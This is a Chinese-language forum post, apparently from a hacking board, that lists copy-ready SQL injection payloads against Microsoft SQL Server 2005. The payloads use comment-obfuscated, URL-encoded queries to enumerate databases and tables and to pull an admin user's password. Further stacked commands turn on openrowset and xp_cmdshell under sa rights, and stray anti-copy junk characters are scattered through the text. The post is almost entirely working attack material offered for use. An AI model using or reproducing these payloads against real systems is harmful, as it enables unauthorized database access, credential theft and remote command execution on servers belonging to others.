MSsql2005注入语句

admin

6 p) r0 g5 y+ j: C% S5 H8 H; X, A
% n: ?, @. P4 p) j0 {) w  C6 E[Copy to clipboard]CODE:
/**/and/**/(select/**/top/**/1/**/isnull(cast([name]/**/as/**/nvarchar(500)),char(32))%2bchar(124)/**/from/**/[master].[dbo].[sysdatabases]/**/where/**/dbid/**/in/**/(select/**/top/**/1/**/dbid/**/from/**/[master].[dbo].[sysdatabases]/**/order/**/by/**/dbid/**/desc))%3d0--
2 z/ M7 q8 a" D- S5 v; s9 R
/ {& Q9 F# Z/ \9 R, n$ R) H爆表语句,somedb部份是所要列的数据库，红色数字1累加

7 T# w" C0 t! Q: J3 E+ r  L6 |
" c. R) g9 b7 I, ~1 ~[Copy to clipboard]CODE:
, b5 Z3 }7 Q. r" D( C( j/**/and/**/(select/**/top/**/1/**/cast(name/**/as/**/varchar(200))/**/from/**/(select/**/top/**/1/**/name/**/from/**/somedb.sys.all_objects/**/where/**/type%3dchar(85)/**/order/**/by/**/name)/**/t/**/order/**/by/**/name/**/desc)%3d0--

爆字段语句，爆表admin里user='icerover'的密码段
. K1 X. ~+ _2 h1 O9 Q! a9 `

3 ?$ t# C8 I% q) b# @8 W8 P7 }[Copy to clipboard]CODE:
6 p* o% N" h2 }- g- P  i4 Y**/And/**/(Select/**/Top/**/1/**/isNull(cast([password]/**/as/**/varchar(2000)),char(32))%2bchar(124)/**/From/**/(Select/**/Top/**/1/**/[password]/**/From/**/[somedb]..[admin]/**/Where/**/user='icerover'/**/Order/**/by/**/[password])/**/T/**/Order/**/by/**/[password]Desc)%3d0--

8 S, |% ~" u$ q% X" ~mssql2005默认没有开xp_cmdshell的，openrowset也不能用
9 s1 d9 p& R4 ^, j5 g( E! }如果是sa权限，可以这样来开启
- z- @% Y/ w# @  N2 M4 S( f开启openrowset
9 e$ U% O/ K$ Q; V! s/ N

: l! n# e% I8 x% z$ M" F) i* c& w) N; |[Copy to clipboard]CODE:
. }) d7 f) i, Z* S2 L  J' s/**/sp_configure/**/'show/**/advanced/**/options',/**/1;RECONFIGURE;--
6 w, E0 E1 A9 `! _! }& k# s/**/sp_configure/**/'Ad/**/Hoc/**/Distributed/**/Queries',/**/1;RECONFIGURE;--

开启xp_cmdshell
4 W; _! o6 S2 [) l
- P3 y1 M1 s' M8 r
1 ^$ c2 l5 B0 k[Copy to clipboard]CODE:
EXEC/**/sp_configure/**/'Ad/**/Hoc/**/Distributed/**/Queries',1;RECONFIGURE;--
EXEC/**/sp_configure/**/'show/**/advanced/**/options',1;RECONFIGURE;EXEC/**/sp_configure/**/'xp_cmdshell',1;RECONFIGURE;--
8 _! P% g! U3 E' J) }) [
- e8 X; o1 k7 k, ^! Lok,over~~晚安